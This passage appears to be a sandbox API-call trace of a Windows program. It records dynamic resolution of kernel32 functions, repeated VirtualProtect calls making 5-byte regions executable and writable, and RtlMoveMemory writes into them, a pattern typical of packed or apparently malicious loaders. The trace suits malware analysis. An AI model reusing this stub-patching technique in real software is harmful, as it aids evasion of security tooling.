GetProcAddress (hModule=0x76e40000, lpProcName="SysAllocStringByteLen") returned 0x76e44731 [0048.537] GetLastError () returned 0x0 [0048.537] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VirtualAlloc", cchWideChar=260, lpMultiByteStr=0x66cadc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x18f7ac | out: lpMultiByteStr="VirtualAlloc", lpUsedDefaultChar=0x18f7ac) returned 260 [0048.537] SetErrorMode (uMode=0x8001) returned 0x8001 [0048.537] LoadLibraryA (lpLibFileName="kernel32") returned 0x76d30000 [0048.537] SetErrorMode (uMode=0x8001) returned 0x8001 [0048.539] GetProcAddress (hModule=0x76d30000, lpProcName="GetProcAddress") returned 0x76d41222 [0048.539] GetProcAddress (hModule=0x76d30000, lpProcName="VirtualAlloc") returned 0x76d41856 [0048.539] GetLastError () returned 0x0 [0048.539] GetUserDefaultLCID () returned 0x409 [0048.539] VarBstrFromI2 (iVal=3, lcid=0x409, dwFlags=0x0, pbstrOut=0x18f68c) returned 0x0 [0048.539] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f69c, cbMultiByte=1, lpWideCharStr=0x660274, cchWideChar=1 | out: lpWideCharStr="5") returned 1 [0048.539] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f69c, cbMultiByte=1, lpWideCharStr=0x64b0a4, cchWideChar=1 | out: lpWideCharStr="&") returned 1 [0048.539] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f69c, cbMultiByte=1, lpWideCharStr=0x666ce4, cchWideChar=1 | out: lpWideCharStr="h") returned 1 [0048.539] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f69c, cbMultiByte=1, lpWideCharStr=0x64b08c, cchWideChar=1 | out: lpWideCharStr="4") returned 1 [0048.539] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f69c, cbMultiByte=1, lpWideCharStr=0x64b074, cchWideChar=1 | out: lpWideCharStr="0") returned 1 [0048.539] GetUserDefaultLCID () returned 0x409 [0048.539] VarI4FromStr (in: strIn="&h40", lcid=0x409, dwFlags=0x0, plOut=0x18f68c | out: plOut=0x18f68c) returned 0x0 [0048.539] GetUserDefaultLCID () returned 0x409 [0048.539] VarI4FromStr (in: strIn="5", lcid=0x409, dwFlags=0x0, plOut=0x18f688 | out: plOut=0x18f688) returned 0x0 [0048.540] VirtualProtect (in: lpAddress=0x241c00, dwSize=0x5, flNewProtect=0x40, lpflOldProtect=0x18f6c4 | out: lpflOldProtect=0x18f6c4*=0x40) returned 1 [0048.541] RtlMoveMemory (in: Destination=0x241c00, Source=0x18f6c8, Length=0x1 | out: Destination=0x241c00) [0048.541] GetLastError () returned 0x0 [0048.541] RtlMoveMemory (in: Destination=0x241c01, Source=0x18f6c4, Length=0x4 | out: Destination=0x241c01) [0048.541] GetLastError () returned 0x0 [0048.541] LoadStringW (in: hInstance=0x0, uID=0xa2, lpBuffer=0x66cbf4, cchBufferMax=260 | out: lpBuffer="VirtualProtect") returned 0xe [0048.541] SysStringLen (param_1="VirtualProtect") returned 0x104 [0048.541] GetLastError () returned 0x0 [0048.541] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VirtualProtect", cchWideChar=260, lpMultiByteStr=0x66ce0c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x18f7ac | out: lpMultiByteStr="VirtualProtect", lpUsedDefaultChar=0x18f7ac) returned 260 [0048.541] GetProcAddress (hModule=0x76d30000, lpProcName="VirtualProtect") returned 0x76d4435f [0048.541] GetLastError () returned 0x0 [0048.541] GetUserDefaultLCID () returned 0x409 [0048.541] VarBstrFromI2 (iVal=3, lcid=0x409, dwFlags=0x0, pbstrOut=0x18f68c) returned 0x0 [0048.541] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f69c, cbMultiByte=1, lpWideCharStr=0x660274, cchWideChar=1 | out: lpWideCharStr="5") returned 1 [0048.541] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f69c, cbMultiByte=1, lpWideCharStr=0x666ce4, cchWideChar=1 | out: lpWideCharStr="&") returned 1 [0048.541] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f69c, cbMultiByte=1, lpWideCharStr=0x64b1c4, cchWideChar=1 | out: lpWideCharStr="h") returned 1 [0048.541] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f69c, cbMultiByte=1, lpWideCharStr=0x64b08c, cchWideChar=1 | out: lpWideCharStr="4") returned 1 [0048.542] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f69c, cbMultiByte=1, lpWideCharStr=0x64b0bc, cchWideChar=1 | out: lpWideCharStr="0") returned 1 [0048.542] GetUserDefaultLCID () returned 0x409 [0048.542] VarI4FromStr (in: strIn="&h40", lcid=0x409, dwFlags=0x0, plOut=0x18f68c | out: plOut=0x18f68c) returned 0x0 [0048.542] GetUserDefaultLCID () returned 0x409 [0048.542] VarI4FromStr (in: strIn="5", lcid=0x409, dwFlags=0x0, plOut=0x18f688 | out: plOut=0x18f688) returned 0x0 [0048.542] VirtualProtect (in: lpAddress=0x241c10, dwSize=0x5, flNewProtect=0x40, lpflOldProtect=0x18f6c4 | out: lpflOldProtect=0x18f6c4*=0x40) returned 1 [0048.543] RtlMoveMemory (in: Destination=0x241c10, Source=0x18f6c8, Length=0x1 | out: Destination=0x241c10) [0048.543] GetLastError () returned 0x0 [0048.543] RtlMoveMemory (in: Destination=0x241c11, Source=0x18f6c4, Length=0x4 | out: Destination=0x241c11) [0048.543] GetLastError () returned 0x0 [0048.543] LoadStringW (in: hInstance=0x0, uID=0xa3, lpBuffer=0x66cf24, cchBufferMax=260 | out: lpBuffer="VirtualFree") returned 0xb [0048.543] SysStringLen (param_1="VirtualFree") returned 0x104 [0048.543] GetLastError () returned 0x0 [0048.543] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VirtualFree", cchWideChar=260, lpMultiByteStr=0x66d13c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x18f7ac | out: lpMultiByteStr="VirtualFree", lpUsedDefaultChar=0x18f7ac) returned 260 [0048.544] GetProcAddress (hModule=0x76d30000, lpProcName="VirtualFree") returned 0x76d4186e [0048.544] GetLastError () returned 0x0 [0048.544] GetUserDefaultLCID () returned 0x409 [0048.544] VarBstrFromI2 (iVal=3, lcid=0x409, dwFlags=0x0, pbstrOut=0x18f68c) returned 0x0 [0048.544] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f69c, cbMultiByte=1, lpWideCharStr=0x660274, cchWideChar=1 | out: lpWideCharStr="5") returned 1 [0048.544] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f69c, cbMultiByte=1, lpWideCharStr=0x64b1c4, cchWideChar=1 | out: lpWideCharStr="&") returned 1 [0048.544] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f69c, cbMultiByte=1, lpWideCharStr=0x64b074, cchWideChar=1 | out: lpWideCharStr="h") returned 1 [0048.544] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f69c, cbMultiByte=1, lpWideCharStr=0x64b08c, cchWideChar=1 | out: lpWideCharStr="4") returned 1 [0048.544] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f69c, cbMultiByte=1, lpWideCharStr=0x64b0a4, cchWideChar=1 | out: lpWideCharStr="0") returned 1 [0048.544] GetUserDefaultLCID () returned 0x409 [0048.544] VarI4FromStr (in: strIn="&h40", lcid=0x409, dwFlags=0x0, plOut=0x18f68c | out: plOut=0x18f68c) returned 0x0 [0048.544] GetUserDefaultLCID () returned 0x409 [0048.544] VarI4FromStr (in: strIn="5", lcid=0x409, dwFlags=0x0, plOut=0x18f688 | out: plOut=0x18f688) returned 0x0 [0048.544] VirtualProtect (in: lpAddress=0x241c20, dwSize=0x5, flNewProtect=0x40, lpflOldProtect=0x18f6c4 | out: lpflOldProtect=0x18f6c4*=0x40) returned 1 [0048.545] RtlMoveMemory (in: Destination=0x241c20, Source=0x18f6c8, Length=0x1 | out: Destination=0x241c20) [0048.545] GetLastError () returned 0x0 [0048.546] RtlMoveMemory (in: Destination=0x241c21, Source=0x18f6c4, Length=0x4 | out: Destination=0x241c21) [0048.546] GetLastError () returned 0x0 [0048.546] LoadStringW (in: hInstance=0x0, uID=0xa4, lpBuffer=0x66d254, cchBufferMax=260 | out: lpBuffer="RtlMoveMemory") returned 0xd [0048.546] SysStringLen (param_1="RtlMoveMemory") returned 0x104 [0048.546] GetLastError () returned 0x0 [0048.546] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RtlMoveMemory", cchWideChar=260, lpMultiByteStr=0x66d46c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x18f7ac | out: lpMultiByteStr="RtlMoveMemory", lpUsedDefaultChar=0x18f7ac) returned 260 [0048.546] GetProcAddress (hModule=0x76d30000, lpProcName="RtlMoveMemory") returned 0x77ca3c40 [0048.546] GetLastError () returned 0x0 [0048.546] GetUserDefaultLCID () returned 0x409 [0048.546] VarBstrFromI2 (iVal=3, lcid=0x409, dwFlags=0x0, pbstrOut=0x18f68c) returned 0x0 [0048.546] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f69c, cbMultiByte=1, lpWideCharStr=0x660274, cchWideChar=1 | out: lpWideCharStr="5") returned 1 [0048.546] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f69c, cbMultiByte=1, lpWideCharStr=0x64b074, cchWideChar=1 | out: lpWideCharStr="&") returned 1 [0048.546] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f69c, cbMultiByte=1, lpWideCharStr=0x64b0bc, cchWideChar=1 | out: lpWideCharStr="h") returned 1 [0048.546] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f69c, cbMultiByte=1, lpWideCharStr=0x64b08c, cchWideChar=1 | out: lpWideCharStr="4") returned 1 [0048.546] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f69c, cbMultiByte=1, lpWideCharStr=0x666ce4, cchWideChar=1 | out: lpWideCharStr="0") returned 1 [0048.547] GetUserDefaultLCID () returned 0x409 [0048.547] VarI4FromStr (in: strIn="&h40", lcid=0x409, dwFlags=0x0, plOut=0x18f68c | out: plOut=0x18f68c) returned 0x0 [0048.547] GetUserDefaultLCID () returned 0x409 [0048.547] VarI4FromStr (in: strIn="5", lcid=0x409, dwFlags=0x0, plOut=0x18f688 | out: plOut=0x18f688) returned 0x0 [0048.547] VirtualProtect (in: lpAddress=0x241c30, dwSize=0x5, flNewProtect=0x40, lpflOldProtect=0x18f6c4 | out: lpflOldProtect=0x18f6c4*=0x40) returned 1 [0048.548] RtlMoveMemory (in: Destination=0x241c30, Source=0x18f6c8, Length=0x1 | out: Destination=0x241c30) [0048.548] GetLastError () returned 0x0 [0048.548] RtlMoveMemory (in: Destination=0x241c31, Source=0x18f6c4, Length=0x4 | out: Destination=0x241c31) [0048.548] GetLastError () returned 0x0 [0048.548] LoadStringW (in: hInstance=0x0, uID=0xa5, lpBuffer=0x66d584, cchBufferMax=260 | out: lpBuffer="RtlFillMemory") returned 0xd [0048.548] SysStringLen (param_1="RtlFillMemory") returned 0x104 [0048.548] GetLastError () returned 0x0 [0048.548] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RtlFillMemory", cchWideChar=260, lpMultiByteStr=0x66d79c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x18f7ac | out: lpMultiByteStr="RtlFillMemory", lpUsedDefaultChar=0x18f7ac) returned 260 [0048.548] GetProcAddress (hModule=0x76d30000, lpProcName="RtlFillMemory") returned 0x76dc4852 [0048.548] GetLastError () returned 0x0 [0048.548] GetUserDefaultLCID () returned 0x409 [0048.548] VarBstrFromI2 (iVal=3, lcid=0x409, dwFlags=0x0, pbstrOut=0x18f68c) returned 0x0 [0048.548] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f69c, cbMultiByte=1, lpWideCharStr=0x660274, cchWideChar=1 | out: lpWideCharStr="5") returned 1 [0048.548] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f69c, cbMultiByte=1, lpWideCharStr=0x64b0bc, cchWideChar=1 | out: lpWideCharStr="&") returned 1 [0048.549] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f69c, cbMultiByte=1, lpWideCharStr=0x64b0a4, cchWideChar=1 | out: lpWideCharStr="h") returned 1 [0048.549] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f69c, cbMultiByte=1, lpWideCharStr=0x64b08c, cchWideChar=1 | out: lpWideCharStr="4") returned 1 [0048.549] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f69c, cbMultiByte=1, lpWideCharStr=0x64b1c4, cchWideChar=1 | out: lpWideCharStr="0") returned 1 [0048.549] GetUserDefaultLCID () returned 0x409 [0048.549] VarI4FromStr (in: strIn="&h40", lcid=0x409, dwFlags=0x0, plOut=0x18f68c | out: plOut=0x18f68c) returned 0x0 [0048.549] GetUserDefaultLCID () returned 0x409 [0048.549] VarI4FromStr (in: strIn="5", lcid=0x409, dwFlags=0x0, plOut=0x18f688 | out: plOut=0x18f688) returned 0x0 [0048.549] VirtualProtect (in: lpAddress=0x241c40, dwSize=0x5, flNewProtect=0x40, lpflOldProtect=0x18f6c4 | out: lpflOldProtect=0x18f6c4*=0x40) returned 1 [0048.550] RtlMoveMemory (in: Destination=0x241c40, Source=0x18f6c8, Length=0x1 | out: Destination=0x241c40) [0048.550] GetLastError () returned 0x0 [0048.550] RtlMoveMemory (in: Destination=0x241c41, Source=0x18f6c4, Length=0x4 | out: Destination=0x241c41) [0048.550] GetLastError () returned 0x0 [0048.550] LoadStringW (in: hInstance=0x0, uID=0xa6, lpBuffer=0x66d8b4, cchBufferMax=260 | out: lpBuffer="lstrcpynW") returned 0x9 [0048.550] SysStringLen (param_1="lstrcpynW") returned 0x104 [0048.550] GetLastError () returned 0x0 [0048.550] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="lstrcpynW", cchWideChar=260, lpMultiByteStr=0x66dacc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x18f7ac | out: lpMultiByteStr="lstrcpynW", lpUsedDefaultChar=0x18f7ac) returned 260 [0048.550] GetProcAddress (hModule=0x76d30000, lpProcName="lstrcpynW") returned 0x76d6d556 [0048.550] GetLastError () returned 0x0 [0048.551] GetUserDefaultLCID () returned 0x409 [0048.551] VarBstrFromI2 (iVal=3, lcid=0x409, dwFlags=0x0, pbstrOut=0x18f68c) returned 0x0 [0048.551] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f69c, cbMultiByte=1, lpWideCharStr=0x660274, cchWideChar=1 | out: lpWideCharStr="5") returned 1 [0048.551] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f69c, cbMultiByte=1, lpWideCharStr=0x64b0a4, cchWideChar=1 | out: lpWideCharStr="&") returned 1 [0048.551] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f69c, cbMultiByte=1, lpWideCharStr=0x666ce4, cchWideChar=1 | out: lpWideCharStr="h") returned 1 [0048.551] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f69c, cbMultiByte=1, lpWideCharStr=0x64b08c, cchWideChar=1 | out: lpWideCharStr="4") returned 1 [0048.551] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f69c, cbMultiByte=1, lpWideCharStr=0x64b074, cchWideChar=1 | out: lpWideCharStr="0") returned 1 [0048.551] GetUserDefaultLCID () returned 0x409 [0048.551] VarI4FromStr (in: strIn="&h40", lcid=0x409, dwFlags=0x0, plOut=0x18f68c | out: plOut=0x18f68c) returned 0x0 [0048.551] GetUserDefaultLCID () returned 0x409 [0048.551] VarI4FromStr (in: strIn="5", lcid=0x409, dwFlags=0x0, plOut=0x18f688 | out: plOut=0x18f688) returned 0x0 [0048.551] VirtualProtect (in: lpAddress=0x241c50, dwSize=0x5, flNewProtect=0x40, lpflOldProtect=0x18f6c4 | out: lpflOldProtect=0x18f6c4*=0x40) returned 1 [0048.552] RtlMoveMemory (in: Destination=0x241c50, Source=0x18f6c8, Length=0x1 | out: Destination=0x241c50) [0048.552] GetLastError () returned 0x0 [0048.552] RtlMoveMemory (in: Destination=0x241c51, Source=0x18f6c4, Length=0x4 | out: Destination=0x241c51) [0048.552] GetLastError () returned 0x0 [0048.552] LoadStringW (in: hInstance=0x0, uID=0xa7, lpBuffer=0x66dbe4, cchBufferMax=260 | out: lpBuffer="LoadLibraryA") returned 0xc [0048.552] SysStringLen (param_1="LoadLibraryA") returned 0x104 [0048.552] GetLastError () returned 0x0 [0048.552] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="LoadLibraryA", cchWideChar=260, lpMultiByteStr=0x66ddfc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x18f7ac | out: lpMultiByteStr="LoadLibraryA", lpUsedDefaultChar=0x18f7ac) returned 260 [0048.553] GetProcAddress (hModule=0x76d30000, lpProcName="LoadLibraryA") returned 0x76d449d7 [0048.553] GetLastError () returned 0x0 [0048.553] GetUserDefaultLCID () returned 0x409 [0048.553] VarBstrFromI2 (iVal=3, lcid=0x409, dwFlags=0x0, pbstrOut=0x18f68c) returned 0x0 [0048.553] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f69c, cbMultiByte=1, lpWideCharStr=0x660274, cchWideChar=1 | out: lpWideCharStr="5") returned 1 [0048.553] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f69c, cbMultiByte=1, lpWideCharStr=0x666ce4, cchWideChar=1 | out: lpWideCharStr="&") returned 1 [0048.553] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f69c, cbMultiByte=1, lpWideCharStr=0x64b1c4, cchWideChar=1 | out: lpWideCharStr="h") returned 1 [0048.553] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f69c, cbMultiByte=1, lpWideCharStr=0x64b08c, cchWideChar=1 | out: lpWideCharStr="4") returned 1 [0048.554] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f69c, cbMultiByte=1, lpWideCharStr=0x64b0bc, cchWideChar=1 | out: lpWideCharStr="0") returned 1 [0048.554] GetUserDefaultLCID () returned 0x409 [0048.554] VarI4FromStr (in: strIn="&h40", lcid=0x409, dwFlags=0x0, plOut=0x18f68c | out: plOut=0x18f68c) returned 0x0 [0048.554] GetUserDefaultLCID () returned 0x409 [0048.554] VarI4FromStr (in: strIn="5", lcid=0x409, dwFlags=0x0, plOut=0x18f688 | out: plOut=0x18f688) returned 0x0 [0048.554] VirtualProtect (in: lpAddress=0x241c60, dwSize=0x5, flNewProtect=0x40, lpflOldProtect=0x18f6c4 | out: lpflOldProtect=0x18f6c4*=0x40) returned 1 [0048.555] RtlMoveMemory (in: Destination=0x241c60, Source=0x18f6c8, Length=0x1 | out: Destination=0x241c60) [0048.555] GetLastError () returned 0x0 [0048.555] RtlMoveMemory (in: Destination=0x241c61, Source=0x18f6c4, Length=0x4 | out: Destination=0x241c61) [0048.555] GetLastError () returned 0x0 [0048.555] LoadStringW (in: hInstance=0x0, uID=0xa8, lpBuffer=0x66df14, cchBufferMax=260 | out: lpBuffer="GetProcAddress") returned 0xe [0048.555] SysStringLen (param_1="GetProcAddress") returned 0x104 [0048.555] GetLastError () returned 0x0 [0048.555] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetProcAddress", cchWideChar=260, lpMultiByteStr=0x66e12c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x18f7ac | out: lpMultiByteStr="GetProcAddress", lpUsedDefaultChar=0x18f7ac) returned 260 [0048.555] GetProcAddress (hModule=0x76d30000, lpProcName="GetProcAddress") returned 0x76d41222 [0048.555] GetLastError () returned 0x0 [0048.556] GetUserDefaultLCID () returned 0x409 [0048.556] VarBstrFromI2 (iVal=3, lcid=0x409, dwFlags=0x0, pbstrOut=0x18f68c) returned 0x0 [0048.556] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f69c, cbMultiByte=1, lpWideCharStr=0x660274, cchWideChar=1 | out: lpWideCharStr="5") returned 1 [0048.556] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f69c, cbMultiByte=1, lpWideCharStr=0x64b1c4, cchWideChar=1 | out: lpWideCharStr="&") returned 1 [0048.556] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f69c, cbMultiByte=1, lpWideCharStr=0x64b074, cchWideChar=1 | out: lpWideCharStr="h") returned 1 [0048.556] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f69c, cbMultiByte=1, lpWideCharStr=0x64b08c, cchWideChar=1 | out: lpWideCharStr="4") returned 1 [0048.556] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f69c, cbMultiByte=1, lpWideCharStr=0x64b0a4, cchWideChar=1 | out: lpWideCharStr="0") returned 1 [0048.556] GetUserDefaultLCID () returned 0x409 [0048.556] VarI4FromStr (in: strIn="&h40", lcid=0x409, dwFlags=0x0, plOut=0x18f68c | out: plOut=0x18f68c) returned 0x0 [0048.556] GetUserDefaultLCID () returned 0x409 [0048.556] VarI4FromStr (in: strIn="5", lcid=0x409, dwFlags=0x0, plOut=0x18f688 | out: plOut=0x18f688) returned 0x0 [0048.556] VirtualProtect (in: lpAddress=0x241c70, dwSize=0x5, flNewProtect=0x40, lpflOldProtect=0x18f6c4 | out: lpflOldProtect=0x18f6c4*=0x40) returned 1 [0048.557] RtlMoveMemory (in: Destination=0x241c70, Source=0x18f6c8, Length=0x1 | out: Destination=0x241c70) [0048.557] GetLastError () returned 0x0 [0048.557] RtlMoveMemory (in: Destination=0x241c71, Source=0x18f6c4, Length=0x4 | out: Destination=0x241c71) [0048.557] GetLastError () returned 0x0 [0048.557] LoadStringW (in: hInstance=0x0, uID=0xa9, lpBuffer=0x66e244, cchBufferMax=260 | out: lpBuffer="HeapAlloc") returned 0x9 [0048.557] SysStringLen (param_1="HeapAlloc") returned 0x104 [0048.557] GetLastError () returned 0x0 [0048.557] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HeapAlloc", cchWideChar=260, lpMultiByteStr=0x66e45c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x18f7ac | out: lpMultiByteStr="HeapAlloc", lpUsedDefaultChar=0x18f7ac) returned 260 [0048.558] GetProcAddress (hModule=0x76d30000, lpProcName="HeapAlloc") returned 0x77c6e026 [0048.558] GetLastError () returned 0x0 [0048.558] GetUserDefaultLCID () returned 0x409 [0048.558] VarBstrFromI2 (iVal=3, lcid=0x409, dwFlags=0x0, pbstrOut=0x18f68c) returned 0x0 [0048.558] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f69c, cbMultiByte=1, lpWideCharStr=0x660274, cchWideChar=1 | out: lpWideCharStr="5") returned 1 [0048.558] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f69c, cbMultiByte=1, lpWideCharStr=0x64b074, cchWideChar=1 | out: lpWideCharStr="&") returned 1 [0048.558] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f69c, cbMultiByte=1, lpWideCharStr=0x64b0bc, cchWideChar=1 | out: lpWideCharStr="h") returned 1 [0048.558] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f69c, cbMultiByte=1, lpWideCharStr=0x64b08c, cchWideChar=1 | out: lpWideCharStr="4") returned 1 [0048.558] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f69c, cbMultiByte=1, lpWideCharStr=0x666ce4, cchWideChar=1 | out: lpWideCharStr="0") returned 1 [0048.558] GetUserDefaultLCID () returned 0x409 [0048.558] VarI4FromStr (in: strIn="&h40", lcid=0x409, dwFlags=0x0, plOut=0x18f68c | out: plOut=0x18f68c) returned 0x0 [0048.558] GetUserDefaultLCID () returned 0x409 [0048.558] VarI4FromStr (in: strIn="5", lcid=0x409, dwFlags=0x0, plOut=0x18f688 | out: plOut=0x18f688) returned 0x0 [0048.558] VirtualProtect (in: lpAddress=0x241c80, dwSize=0x5, flNewProtect=0x40, lpflOldProtect=0x18f6c4 | out: lpflOldProtect=0x18f6c4*=0x40) returned 1 [0048.559] RtlMoveMemory (in: Destination=0x241c80, Source=0x18f6c8, Length=0x1 | out: Destination=0x241c80) [0048.559] GetLastError () returned 0x0 [0048.559] RtlMoveMemory (in: Destination=0x241c81, Source=0x18f6c4, Length=0x4 | out: Destination=0x241c81) [0048.560] GetLastError () returned 0x0 [0048.560] LoadStringW (in: hInstance=0x0, uID=0xaa, lpBuffer=0x66e574, cchBufferMax=260 | out: lpBuffer="HeapFree") returned 0x8 [0048.560] SysStringLen (param_1="HeapFree") returned 0x104 [0048.560] GetLastError () returned 0x0 [0048.560] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="HeapFree", cchWideChar=260, lpMultiByteStr=0x66e78c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x18f7ac | out: lpMultiByteStr="HeapFree", lpUsedDefaultChar=0x18f7ac) returned 260 [0048.560] GetProcAddress (hModule=0x76d30000, lpProcName="HeapFree") returned 0x76d414c9 [0048.560] GetLastError () returned 0x0 [0048.560] GetUserDefaultLCID () returned 0x409 [0048.560] VarBstrFromI2 (iVal=3, lcid=0x409, dwFlags=0x0, pbstrOut=0x18f68c) returned 0x0 [0048.560] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f69c, cbMultiByte=1, lpWideCharStr=0x660274, cchWideChar=1 | out: lpWideCharStr="5") returned 1 [0048.560] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f69c, cbMultiByte=1, lpWideCharStr=0x64b0bc, cchWideChar=1 | out: lpWideCharStr="&") returned 1 [0048.560] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f69c, cbMultiByte=1, lpWideCharStr=0x64b0a4, cchWideChar=1 | out: lpWideCharStr="h") returned 1 [0048.560] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f69c, cbMultiByte=1, lpWideCharStr=0x64b08c, cchWideChar=1 | out: lpWideCharStr="4") returned 1 [0048.560] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x18f69c, cbMultiByte=1, lpWideCharStr=0x64b1c4, cchWideChar=1 | out: lpWideCharStr="0") returned 1 [0048.561] GetUserDefaultLCID () returned 0x409 [0048.561] VarI4FromStr (in: strIn="&h40", lcid=0x409, dwFlags=0x0, plOut=0x18f68c | out: plOut=0x18f68c) returned 0x0 [0048.561] GetUserDefaultLCID () returned 0x409 [0048.561] VarI4FromStr (in: strIn="5", lcid=0x409, dwFlags=0x0, plOut=0x18f688 | out: plOut=0x18f688) returned 0x0 [0048.561] VirtualProtect (in: lpAddress=0x241c90, dwSize=0x5, flNewProtect=0x40, lpflOldProtect=0x18f6c4 | out: lpflOldProtect=0x18f6c4*=0x40) returned 1 [0048.562] RtlMoveMemory (in: Destination=0x241c90, Source=0x18f6c8, Length=0x1 | out: Destination=0x241c90) [0048.562] GetLastError () returned 0x0 [0048.562] RtlMoveMemory (in: Destination=0x241c91, Source=0x18f6c4, Length=0x4 | out: Destination=0x241c91) [0048.562] GetLastError () returned 0x0 [0048.562] LoadStringW (in: hInstance=0x0, uID=0xab, lpBuffer=0x66e8a4, cchBufferMax=260 | out: lpBuffer="GetProcessHeap") returned 0xe [0048.562] SysStringLen (param_1="GetProcessHeap") returned 0x104 [0048.562] GetLastError () returned 0x0 [0048.562] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="GetProcessHeap", cchWideChar=260, lpMultiByteStr=0x66eabc, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x18f7ac | out: lpMultiByteStr="GetProcessHeap", lpUsedDefaultChar=0x18f7ac) returned 260 [0048.562] GetProcAddress (hModule=0x76d30000, lpProcName="GetProcessHeap") returned 0x76d414e9 [0048.562] GetLastError () returned 0x0 [0048.562] GetUserDefaultLCID () returned 0x409 [0048.562] VarBstrFromI2 (iVal=3, lcid=0x409, dwFlags=0x0, 